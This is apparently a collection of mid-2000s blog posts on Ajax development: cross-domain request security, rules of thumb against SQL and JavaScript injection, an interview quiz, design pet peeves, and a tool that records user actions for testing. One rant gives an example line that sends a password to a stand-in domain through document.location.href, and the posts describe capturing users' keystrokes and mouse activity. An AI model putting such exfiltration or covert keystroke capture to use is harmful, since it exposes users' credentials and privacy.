Ajax: Is talking to outside domains safe?
One of the topics that pops up all of the time is the XMLHttpRequest's inability to talk to any domain outside of its own. Yes we can change this by altering the browser settings, playing with the privilege manager, and signing scripts. These things are extra steps that people do not want to do when developing a small application. Plus they also add insecurity about the user's actions on the options they choose when visiting your site.
I personally do not think that the browser should be able to open requests to another domain. This would be opening a security hole. I am probably one of the only developers that believe this, but I see it as a bigger issue in my eyes with script kiddies and people up to no good.
Everyone thinks that it would be better to make a request to the outside domain. I rather call my server side page on my domain and have that retrieve the data. Now I can cache this data on my server so I do not have to go and keep getting the data. Caching this data on the client is not really possible if we are talking page refresh and traditional postbacks. We would loose this data and have to get it over and over on an uncertain crowded congested pipe across the internet. What if your server is in the US, the client is in the US, and the remote service is in India. The request has to travel halfway around the world and back to retrieve the same information it could have had on its US server. You are talking increased time having to wait for information.
If the client can hold session data, then we may be able to open up requests to outside domains, but we would have to some how secure this new data transfer or will see bigger holes for people to attack.
Eric Pascarello
Coauthor of Ajax In Action
Moderator of HTML/JavaScript at www.JavaRanch.com
Author of: JavaScript: Your Visual Blueprint for Dynamic Web Pages
Is Ajax unsecure?
Well with the book promotion of Ajax In Action at JavaRanch, the question that kept popping up was: "What about security?" Well the truth is yes some Ajax applications are very open to attack. The reason: Way too much business logic on the server and poorly implemented design on the server.
When we are looking at any web application we do a few things. We test for where the data is coming from. We look for SQL Injections. We look for JavaScript Injections if we are reposting this data.
Now we need to follow these same tests with Ajax. We are still dealing with posting data to the server, which the server business logic handles. We should ALWAYS handle the business logic ON THE SERVER. I need to stress this since this is the only way you can secure your application. Let the server handle building the queries or determining the stored procedures. Some applications out there open this up on the client and you are looking for trouble. Give the hacker your column names and table names. Not a good thing!
An article that people may like is on MSDN: http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/default.aspx?side=true#a. It gives a quick overview on how a person can go about SQL Injection. With JavaScript injection you need to look at all of the event handlers, JavaScript keyword, script tag, and so on. If you are allowing public comments or such, this can cause some trouble. Read the story about Sammy on myspace here: http://www.ajaxian.com/archives/2005/10/sammy_uses_ajax.html. With a little JavaScript, it caused a big problem for myspace.
If you think that Ajax is unsecure and your classic post back forms are, think again. Anyone can easily change a form submission on a normal framework and cause havoc. I have written about it in the past on my blog: http://radio.javaranch.com/pascarello/2004/04/28/1083160143000.html. After looking at those links on the post, you can see that any application is vulnerable to attack.
Eric's Rules of Thumb for Ajax Security:
- If you use user authentication, make sure you check for it on the request page!
- Check for SQL Injections
- Check for JavaScript Injections
- Keep the Business Logic on the server!
- Don't assume every request is real!
- Check the data with validation!
- Look at the request’s header information and make sure it is correct
Having common sense when programming an Ajax application will keep you and your data safe.
Eric Pascarello
Coauthor of Ajax In Action
Author of: JavaScript: Your Visual Blueprint for Dynamic Web Pages
Moderator of HTML/JavaScript at www.JavaRanch.com
Another Contest to win a copy of Ajax In Action
Over on DynamicDrive.com, they are holding a contest where you can win a copy of Ajax In Action. See the website for details!
Eric Pascarello
Moderator of HTML/JavaScript at www.JavaRanch.com
JavaScript: My Personal JavaScript Short Interview Quiz
I was asked by a person about what would you like to see asked on an interview where we should assume the person has a working knowledge of JavaScript. It had me thinking a bit and here are the questions I would ask on an interview. I tried to attack areas that people with a good working knowledge of JavaScript would be able to answer in a very short period of time.
The Quiz
Question 1:
Without running the following code, please tell me what the alert messages would return when executed.
<script type="text/javascript">
var a = "123";
b = 123;
function test(){
b = parseInt(a);
a += 1;
c = "eric";
var d = "pascarello";
}
alert(typeof(a));
alert(typeof(b));
alert(typeof(c));
alert(typeof(d));
test();
alert(typeof(a));
alert(typeof(b));
alert(typeof(c));
alert(typeof(d));
</script>
Question 2:
Write a function that takes a string as an input and returns an array containing the odd words. With the string: "I can sing bad songs while in the shower", the output in the alert should read: "I sing songs in shower". Below is the basic framework that you should use.
<script type="text/javascript">
var strTest = "I can sing bad songs while in the shower";
function obtainOddWords(strPassed){
//Place your code here!
return arrOddWords;
}
alert(obtainOddWords(strTest));
</script>
Question 3:
Take the function in question 2 and create a String prototype so I can call the method using the following statement:
alert(strTest.obtainOddWords())
My Comments on the Questions
Now as you can see the questions are not asking DOM methids or anything like that. If I could ask more questions I would attack those, but I am looking for a certain things in these three questions. This is what the questions would tell me about your knowledge.Question 1 is looking at your knowledge of JavaScript's local and global nature when declaring variables. There is a few tricks in it. A person that has only started with JavaScript may not see them.
Question 2 is not too difficult, the real reason I would ask this is to see how your brain works. There are multiple ways to attack it so there are multiple solutions. Some solutions are a lot better than others.
Question 3 is rather simple if you know what a prototype is. I would not expect that everyone that takes this quiz would be able to answer #3.
Grading:
If you want your quiz to be looked over by me, send a plain text file (.txt) with the answers to JRblog@pascarello.com. Please do not send any other type of file or I will not read it. Do not post answers in the comments, I want to give everyone a fair chance at the answers!Eric Pascarello
Ajax: My Pet Peeves
When looking at applications out there right now, I feel like they are missing/forgetting some things that hurt the user experience. These things may not be visible to the user, but you can tell when or when they are not there.
#1 - Not coding for the refresh/back/forward actions
The first thing is not taking care of the refresh/back/forward actions Now this is one of the major things that we deal with in applications that have always given us headaches. I talked about a solution here and there is another solution here. Both solutions give us, the developer, a chance to make the user interactions more seamless.
#2 - Not caching on client
The second thing is not caching data on the client. Now most developers will cache data on the server so we are not pounding the SQL database or other objects to obtain the same dataset over and over. We do not need to get the data for a dropdown list more than once if the data does not change every second. Now this same principle applies to the client side. We do not need to keep getting the data over and over again for the same requests.
One example of this is a linked select better known as double or triple combo elements. If we have a user that can not make up their mind if they have a problem with their computer or brain, they will keep selecting the options from the lists. Each time they make a request the server is called to get the data. If you implement caching by holding this info in arrays and objects, we can use this instead of calling the server for the same data over and over again. Plus this means the fields will be filled in in fewer time span.
#3 - Doing too much
For me Ajax is meant to make the user experience work better. Limit post backs, maintain state, eliminate errors, and so on. Implementing too much Ajax on an application may cause the user more headaches than it is worth. One example of a bad use of Ajax is a person is making a "Ajaxish framed site" (I made up the term and it sounds bad!) Instead of the user navigating to other pages to get information, the developer was using Ajax to pull in the data. This is not benefiting the user at all since nothing is happening other than changing the data. This is causing issues with bookmarking the page and so forth. Not a good design.
#4 - Forgetting that localhost != real world
It is impossible for a user in England to have the same response time as a user in the USA when the server is sitting in the USA. It takes time for data to go through the tube. When working on local host it will be fast! Think of me at home sitting on a dial-up connection versus me at work on a T1 line. Who will win that race? If you want the localhost to act more like a real connection introduce some random latency into the code for testing. Add some "sleep" or pauses into the code. It will make you realize how slow it can be for a user on the other side of the world.
#5 - GET still has a length limit
I seen some applications using GET to send back information to the server. The URL is still limited by IE's 2,083 characters. Mozilla and Firefox have a larger limit and I think Opera is even higher, but you are limited to IE's trouble. So if you are sending large data via GET, you may want to change it to POST.
#6 - Forgetting basic user interface design
I see that people forget the basics of user interface design with Ajax applications. If you make a request, give the person a visual clue. If you have a link, make it look like a link. People do not know they need to drag this there or click here while spinning the mouse 360 degrees. Every Web page has a basic navigation people are used to. Do not recreate the wheel if the basic concept does not make sense at first glance!
Well I am sure I could come up with more!
Eric Pascarello
Another chance to win one of four copies of Ajax In Action
Over on the HTML and JavaScript forum on JavaRanch.com, the authors of Ajax In Action, that includes yours truely, will be here this week to answer any questions on the book or Ajax.
Of course you can always ask me questions here on the blog or on JavaRanch anytime, but the only way to win this week is to post in the forum!
Good Luck!
Eric Pascarello
Update/Info on Personal Projects
Well I thought I would update you on what I have been working on.
- First I been looking for a new job, think I am getting closer on getting that landed.
- Second I am working on how long each browser can hold open an XMLHttpRequest before it craps out. This is important if we are talking about chat applications where we have no clue how long it will take before we get messages. Problem with this is, it takes awhile to test this!! I have not seen this done yet, if anyone knows of any numbers please give me a link! I am actually surprised at the numbers I am getting for IE, but I have a feeling this is going to have to leak. Right now I am testing on a localhost! I have plans to move it to a network connection over dialup (the 56K extreme testing that developers ignore!) I will need some testers for MAC, if anyone is willing to do this, drop me a line at pascarello@javaranch.com
- The spy script update, trying to come up with a cool name for it. I need to clean up the mouse tracking code I developed tonight. Right now I can change the amount of data points it captures via time. Reminds me of watching a movie on dialup with the low settings! Next on the list is monitoring mouse clicks. Right now I am trying to develop small modules that I can add together in the future. It is some ugly code, but I will clean it up. I am not looking for adding event handlers to textboxes that have event handlers, etc. Done it in the past, will have to revamp my code and deal with it again. "Suck it up", I bet that is what some people are saying! Sounds like people are interested in this script so I guess I need to work on it harder than I was planning!
Thanks for everyone's support! I am setting up talks on Ajax Development in the DC/Baltimore area and also central PA. I will inform you of any dates that I set.
Eric Pascarello
Moderator of HTML/JavaScript at www.JavaRanch.com
Author of: JavaScript: Your Visual Blueprint for Dynamic Web Pages
Ajax: Article by Dave Crane on status codes
Well I am rather bogged down at work today so I did not have time to come up with an Ajax topic, so I thought I would point you to an article that Dave Crane, the other main author on Ajax In Action wrote. He talks about the status codes of 200 amd 0. I have had to explain this multiple times to users on why their code is not running and people out there starting with Ajax without a local server may get some helpful ideas from it.
http://dave.sunwheeltech.com/wordpress/2005/10/30/what-the-file-system-doesnt-tell-you/
If you have not subscribed to his feed yet, I highly recommend it since he has some great input about Ajax there.
Eric Pascarello
Moderator of HTML/JavaScript at www.JavaRanch.com
Author of: JavaScript: Your Visual Blueprint for Dynamic Web Pages
Ajax: Spying on users (personal rant)
This is a little rant that I have on a topic I see pop up place to place about using Ajax techniques to spy on you. All I can say to this is yes we can use the XMLhttpRequest object to pass back information without your control. I can monitor every single thing you can do on a website with JavaScript as long as it is in the same domain. The same domain part needs to be stressed since this means a website can not read my passwords on another site.
But the sad thing is this: We can do it without the XMLHttpRequest object. All we need is an iframe, pop up window, or a form. We send information via a link, document.location.href="asdfoyweoryjrbkerbmwnervb.com?pasword=123" or by submitting a form: document.formName.submit();.
You hear developers always saying that they have used these techniques for years. I used it in JavaScript games I developed to transfer high score information. Go to websites you can trust and make sure that you, a developer, disable all JavaScript injections in your guestbook, blogs, wikis, and so on like you do for your SQL databases. We do not need to help others gain information.
Now why would a person use monitoring techniques with Ajax? I have been keeping this quiet, but I thought I would tell the world what I am working on. Some people see monitoring users actions as being very scary situation, for me it is a blessing for testing. I personally started work on developing a tool that can be deployed on an application during the user testing phase of a project. It main purpose is to sit in the background of a webpage and attach itself to the controls on the page. It will monitor all of the users actions and record them based on a timeline. This information is going to be sent to a server to be stored for processing. Mouse movement, key presses, mouse clicks, and so on will be monitored and recorded to a database.
What can we do with this information stored in a database? I am working on a playback feature that will recreate all of the users interactions on the page. Therefore we can see what action caused that error. I know that you ask a user what they did, they just say: "I have no clue." Instead of banging our heads to figure out the chain of events to raise the error, we can watch the 'movie'. I also want to get this little application tied into NUNIT to help record testing scenarios. We never know what the users do exactly, but using their 'movie' will show it exactly.
This tool is going to be a rather large thing to accomplish and it will need a lot of testing in future.
Eric Pascarello
Moderator of HTML/JavaScript at www.JavaRanch.com
Author of: JavaScript: Your Visual Blueprint for Dynamic Web Pages